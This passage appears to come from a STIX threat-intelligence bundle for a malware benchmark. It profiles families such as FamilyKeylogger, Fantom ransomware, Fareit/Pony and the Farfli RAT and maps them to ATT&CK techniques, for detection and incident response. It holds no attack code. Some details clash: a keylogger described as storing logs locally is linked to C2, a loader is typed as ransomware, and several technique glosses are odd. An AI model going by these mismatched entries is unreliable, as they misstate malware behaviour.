      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2b2d2cb3-ff16-5477-92bc-79c5172fb974",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Faketool exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--43aab743-375f-5c2a-95f3-b3d922329bae",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2b2d2cb3-ff16-5477-92bc-79c5172fb974",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Faketool exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7a33965e-c208-5861-a958-15e984ee103a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2b2d2cb3-ff16-5477-92bc-79c5172fb974",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Faketool exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2a5cb416-3ff3-5aa4-944b-a8567a3c84d0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Familykeylogger",
      "description": "<h3>Executive Summary</h3>\nFamilyKeylogger is a commercial surveillance application, often marketed to parents for monitoring children, but widely classified by enterprise security vendors as Spyware or a Potentially Unwanted Program (PUP). Due to its stealth capabilities and ability to silently harvest all keystrokes, it is frequently abused by insider threats or deployed maliciously by cybercriminals (who re-package the installer) to steal corporate credentials and violate user privacy.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nIn a corporate environment, FamilyKeylogger is almost never installed via an exploit. It requires intentional installation, typically by an employee (Insider Threat) attempting to monitor a colleague, or by an attacker who has already gained physical or remote administrative access to the machine.\n\nOnce installed, its capabilities are invasive:\n<ul>\n<li><strong>Comprehensive Keylogging:</strong> It captures every keystroke typed on the keyboard, including passwords, emails, and chat messages, regardless of the application being used.</li>\n<li><strong>Stealth Mode:</strong> The application is specifically designed to operate invisibly. It hides its process from the standard Windows Task Manager, removes its icon from the system tray, and does not appear in the \"Add/Remove Programs\" list.</li>\n<li><strong>Data Export:</strong> The harvested keystrokes are stored in encrypted log files locally on the machine, which the person who installed the software can later access by entering a secret hotkey combination to reveal the hidden interface.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe presence of a keylogger on a corporate endpoint is a critical security breach and a severe violation of privacy compliance (e.g., GDPR, HIPAA). It compromises every account accessed from that machine, potentially leading to massive data theft and unauthorized access to critical infrastructure.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Mandatory Credential Reset:</strong> Assume all passwords typed on the infected machine are compromised. Immediately force a password reset for the user's Active Directory account, corporate email, VPN access, and any relevant third-party services.</li>\n<li><strong>Targeted Anti-Spyware Removal:</strong> Because the software employs rootkit-like techniques to hide itself, standard uninstallation is usually impossible. Use an enterprise EDR or specialized anti-spyware solution to detect the hidden processes and remove the deeply embedded registry keys required for its persistence.</li>\n<li><strong>Insider Threat Investigation:</strong> Because this software requires administrative privileges to install, the incident must be investigated as a potential insider threat or an indicator that a local administrative account has been fully compromised.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Spyware.FamilyKeylogger",
        "PUP.Keylogger",
        "Monitor.FamilyKeylogger"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Familykeylogger",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/familykeylogger"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--35406e4a-4f91-5f07-8354-4f43b9e10cc3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2a5cb416-3ff3-5aa4-944b-a8567a3c84d0",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Familykeylogger exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--274ea8af-c413-5544-8d1c-7acf0ca91277",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2a5cb416-3ff3-5aa4-944b-a8567a3c84d0",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Familykeylogger exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9c093553-6c45-5d83-b195-004a110c23d4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2a5cb416-3ff3-5aa4-944b-a8567a3c84d0",
      "target_ref": "attack-pattern--6991b3b3-2955-56ba-a0a0-3dadb5d30fae",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Familykeylogger exhibits technique T1059.001 (Command and Scripting Interpreter: PowerShell (Used in infection chain))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f657a512-3176-55e2-9b23-05b8d761fda3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2a5cb416-3ff3-5aa4-944b-a8567a3c84d0",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Familykeylogger exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b7e2ec37-9d04-5b47-a775-15b167ed8bc0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2a5cb416-3ff3-5aa4-944b-a8567a3c84d0",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Familykeylogger exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--29d210d3-db1d-5d36-ad70-7e54802494de",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2a5cb416-3ff3-5aa4-944b-a8567a3c84d0",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Familykeylogger exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5145d1b3-ecee-52c3-821e-15c18a7774d2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Famvt",
      "description": "Trojan:Win32/Famvt is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Famvt</b><br>To an end-user, a Famvt infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Famvt is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Famvt is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Famvt frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Famvt reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Famvt",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/famvt"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f15bf902-2b47-5ed3-b1e0-da57912fb6bf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5145d1b3-ecee-52c3-821e-15c18a7774d2",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Famvt exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--54e5d750-714c-5fa0-b243-fd16a1f7b7e6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5145d1b3-ecee-52c3-821e-15c18a7774d2",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Famvt exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--39eeb597-8262-5c47-901e-5e107266ccb2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5145d1b3-ecee-52c3-821e-15c18a7774d2",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Famvt exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e2609ff8-1a3e-5de9-a008-88f90ede8072",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5145d1b3-ecee-52c3-821e-15c18a7774d2",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Famvt exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c95cfef9-e7fd-5a3f-a4ae-e82bd57d4136",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5145d1b3-ecee-52c3-821e-15c18a7774d2",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Famvt exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f2ea99d7-11a4-579d-9c55-f7944c80e24f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Fantom",
      "description": "<h3>Executive Summary</h3>\nFantom is a highly deceptive Ransomware family that utilizes social engineering at the operating system level. It is designed to extort financial payment from victims by encrypting their critical data while masquerading as a legitimate, critical Windows Update. This visual deception keeps the user unaware of the ongoing encryption process until it is too late.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nFantom is primarily distributed through deceptive software downloads, fake software updates on untrustworthy websites, or via malspam campaigns containing disguised executables.\n\nUpon execution, Fantom initiates a highly deceptive and destructive attack sequence:\n<ul>\n<li><strong>The Fake Windows Update Overlay:</strong> When executed, Fantom immediately displays a full-screen overlay that perfectly mimics the legitimate \"Configuring critical Windows Updates\" screen (complete with a progress counter). This screen blocks access to the desktop, preventing the user from interrupting the process.</li>\n<li><strong>Background Encryption:</strong> While the fake update screen is displayed, the ransomware silently scans all local drives and network shares in the background, encrypting documents, images, and databases using strong cryptography (AES-128/RSA). It typically appends the `.fantom` extension to encrypted files.</li>\n<li><strong>Volume Shadow Copy Deletion:</strong> It executes commands (`vssadmin.exe`) to destroy local system backups and recovery points, ensuring the victim cannot easily restore their files.</li>\n<li><strong>Ransom Note Generation:</strong> Once encryption is complete, the fake update screen disappears, and the desktop wallpaper is replaced with a ransom note instructing the victim to contact an email address for payment instructions.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Fantom infection is a critical security incident resulting in immediate loss of data availability. The deceptive \"Windows Update\" overlay is highly effective against non-technical users, ensuring the encryption process completes uninterrupted. The destruction of local backups means organizations face massive data loss without offline contingencies.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Network Severance:</strong> If the fake update screen is observed, physically disconnect the endpoint from the network and power it down immediately to halt the encryption process (at the risk of corrupting files currently being written).</li>\n<li><strong>Do Not Pay the Ransom:</strong> Paying the ransom is strongly discouraged and does not guarantee data recovery.</li>\n<li><strong>Eradication and Restoration:</strong> The only reliable remediation strategy is a complete bare-metal wipe of the infected systems and a full restoration from secure, air-gapped backups.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom.Fantom",
        "Trojan-Ransom.Win32.Fantom",
        "Win32/Filecoder.Fantom"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Fantom",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/fantom"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b6abd7ca-0049-56c5-b3d4-5e92e7a49b61",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f2ea99d7-11a4-579d-9c55-f7944c80e24f",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fantom exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8c9ca807-b4d3-509f-bc3b-072c3509b189",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f2ea99d7-11a4-579d-9c55-f7944c80e24f",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fantom exhibits technique T1490 (Inhibit System Recovery (Behaviorally blocking the deletion of backups))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4043596a-e4b5-56cd-9cd8-0b06f19a83b3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f2ea99d7-11a4-579d-9c55-f7944c80e24f",
      "target_ref": "attack-pattern--f79bf5b1-78d9-5d23-a22a-0801845c009f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fantom exhibits technique T1036.003 (Masquerading: Rename System Utilities (Using folder icons for executables))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--af8e3e40-cc82-5481-9b8f-a9751653d476",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Fareit",
      "description": "Fareit (widely recognized across the threat intelligence community as Pony or Pony Stealer) is one of the most influential and pervasive credential-harvesting implants in the history of cybercrime. First detected around 2011 and created by a Russian developer known as 'Guptill' (Pony Team), Fareit was crafted in native C and assembly to maximize speed and minimize memory overhead.\n\nFareit's primary objective is the automated theft of stored passwords and digital keys: it scans the local host for credentials stored in over 100 applications, including web browsers, FTP clients (FileZilla, Total Commander), email programs (Outlook, Thunderbird), VPN clients, and early cryptocurrency wallets (Bitcoin, Litecoin). Following the public leak of the Pony 1.9/2.0 source code in late 2013, Fareit became a foundational building block across cybercrime syndicates, frequently serving as an initial access dropper that harvested corporate credentials before downloading heavier secondary payloads such as Gameover Zeus, Necurs, or CryptoLocker ransomware. (Observed samples in benchmark: 10,955)",
      "is_family": true,
      "malware_types": [
        "spyware",
        "credential-stealer"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Fareit",
        "Pony",
        "Pony Stealer",
        "Pony Loader"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Fareit",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/fareit"
        },
        {
          "source_name": "cisa-advisory",
          "description": "Official US CISA Cybersecurity Advisory",
          "url": "CISA Alert AA20-302A (Top Routinely Exploited Vulnerabilities)"
        }
      ],
      "labels": [
        "infostealer",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--05e47751-7169-510c-aa1f-dd1b35c7d893",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--af8e3e40-cc82-5481-9b8f-a9751653d476",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fareit exhibits technique T1555.003 (Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c50174c8-b4bb-532d-b390-1a14091e5db3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--af8e3e40-cc82-5481-9b8f-a9751653d476",
      "target_ref": "attack-pattern--93d05424-5b4c-5400-a22c-cc8acb493a1e",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fareit exhibits technique T1539 (Steal Web Session Cookie (Abusing active authenticated sessions to perform social media fraud))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8858b039-f6c7-594d-a75f-d161e74c2408",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--af8e3e40-cc82-5481-9b8f-a9751653d476",
      "target_ref": "attack-pattern--be3c2ebf-802b-5550-add8-0d33497d4a55",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fareit exhibits technique T1552.001 (Credentials In Files (Harvesting passwords and wallets from local storage))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7c55d8e3-0826-59a8-9401-aa7b5ef808bc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--af8e3e40-cc82-5481-9b8f-a9751653d476",
      "target_ref": "attack-pattern--03bc7d87-9e0a-5fae-ad3c-bd1321fcc33b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fareit exhibits technique T1041 (Exfiltration Over C2 Channel)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--23b354c6-2fe5-5a66-b458-9a719b3db2f2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--af8e3e40-cc82-5481-9b8f-a9751653d476",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fareit exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d9f8481e-202d-5904-a426-48a3392f3348",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--af8e3e40-cc82-5481-9b8f-a9751653d476",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fareit exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b1fd50ea-f72d-59c9-b76c-fc27f80d6ca7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--af8e3e40-cc82-5481-9b8f-a9751653d476",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fareit exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--338847f5-24f4-5752-b932-a9a233495acd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Fareitvb",
      "description": "PWS:Win32/Fareitvb is a specific variant of the infamous **Fareit** (also known as **Pony**) infostealer family, notable for being rewritten or wrapped in Visual Basic (VB). Historically, Fareit is one of the most prolific credential stealers and botnet loaders in existence. It was frequently utilized by advanced threat groups to harvest FTP credentials, email passwords, and cryptocurrency wallets, and was notoriously used to drop the massive Gameover Zeus banking trojan.<br><br><b>Understanding the Fareit/Pony Threat</b><br>To an end-user, the infection is typically invisible. The malware executes rapidly, steals data, and often deletes itself. For a security operations center (SOC), a Fareitvb detection is a critical emergency. It means all passwords, session cookies, and VPN credentials stored on that machine are compromised, providing attackers with immediate, authenticated access to the corporate network.<br><br><b>Execution and Harvesting Mechanics</b><br>Fareitvb is typically distributed via weaponized spam campaigns containing malicious Office documents or ZIP files (`T1566`). The Visual Basic wrapper is often used as a packing layer to obfuscate the core malicious logic from static antivirus signatures (`T1027`). Upon execution (`T1204.002`), the malware targets a vast array of software. It extracts stored credentials from over 100 different applications, including all major web browsers (Chrome, Firefox, Edge) (`T1555.003`), FTP clients (FileZilla, WinSCP), email clients (Outlook, Thunderbird), and cryptocurrency wallets (`T1552.001`). It archives this data and exfiltrates it to a C2 server via HTTP POST requests (`T1041`). Finally, it often acts as a downloader (`T1105`), pulling down secondary, high-severity payloads before terminating.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is the total compromise of all credentials stored on the endpoint and the potential for immediate lateral movement by the attackers. Host-based IoCs include EDR alerts for rapid, sequential file access of multiple SQLite databases (`Login Data`) across browser directories. Network IoCs include a sudden, short burst of outbound HTTP traffic to an unknown IP address or compromised domain, followed immediately by a secondary download. (Observed samples in benchmark: 7)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Fareitvb",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/fareitvb"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--30fa6385-8503-5893-891c-e0333921b857",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--338847f5-24f4-5752-b932-a9a233495acd",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fareitvb exhibits technique T1555.003 (Credentials from Password Stores: Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--779c0987-d60d-5e37-8ece-ff5eca0e7d0b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--338847f5-24f4-5752-b932-a9a233495acd",
      "target_ref": "attack-pattern--be3c2ebf-802b-5550-add8-0d33497d4a55",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fareitvb exhibits technique T1552.001 (Credentials In Files (Stealing FTP and Wallet files))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--80cc750f-e39e-5c5d-b540-4402410382f1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--338847f5-24f4-5752-b932-a9a233495acd",
      "target_ref": "attack-pattern--03bc7d87-9e0a-5fae-ad3c-bd1321fcc33b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fareitvb exhibits technique T1041 (Exfiltration Over C2 Channel)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--805b9ad9-c1f8-5c3e-a5db-3456650dc280",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--338847f5-24f4-5752-b932-a9a233495acd",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fareitvb exhibits technique T1105 (Ingress Tool Transfer (Downloading Gameover Zeus or ransomware))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9524ae18-4329-5fdd-9fca-4124944f8b05",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Farfli",
      "description": "Trojan:Win32/Farfli is a sophisticated Remote Access Trojan (RAT) derived from the leaked Gh0st RAT codebase, customized extensively by Chinese state-sponsored advanced persistent threat groups (including APT10 / MenuPass and Winnti Group / APT41) for targeted cyber espionage campaigns. Farfli replaces standard Gh0st RAT network communication magic signatures with customized five-byte protocol headers (such as 'HTTPS', 'HEART', 'QQQQQ') and non-standard network ports to bypass network intrusion detection system (NIDS) signatures. Operating stealthily within compromised government, aerospace, and defense environments, Farfli injects into core Windows processes (such as explorer.exe and svchost.exe), providing operators with comprehensive remote desktop control, interactive command shells, file exfiltration, keystroke recording, and webcam/audio surveillance. (Observed samples in benchmark: 360)",
      "is_family": true,
      "malware_types": [
        "remote-access-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Farfli",
        "Trojan:Win32/Farfli",
        "Backdoor.Farfli",
        "Farfli RAT",
        "Backdoor.Win32.Farfli",
        "Win32/Farfli"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Farfli",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/farfli"
        },
        {
          "source_name": "cisa-advisory",
          "description": "Official US CISA Cybersecurity Advisory",
          "url": "AA20-258A"
        }
      ],
      "labels": [
        "rat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6f58b206-187e-5168-950b-431c07a7af80",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9524ae18-4329-5fdd-9fca-4124944f8b05",
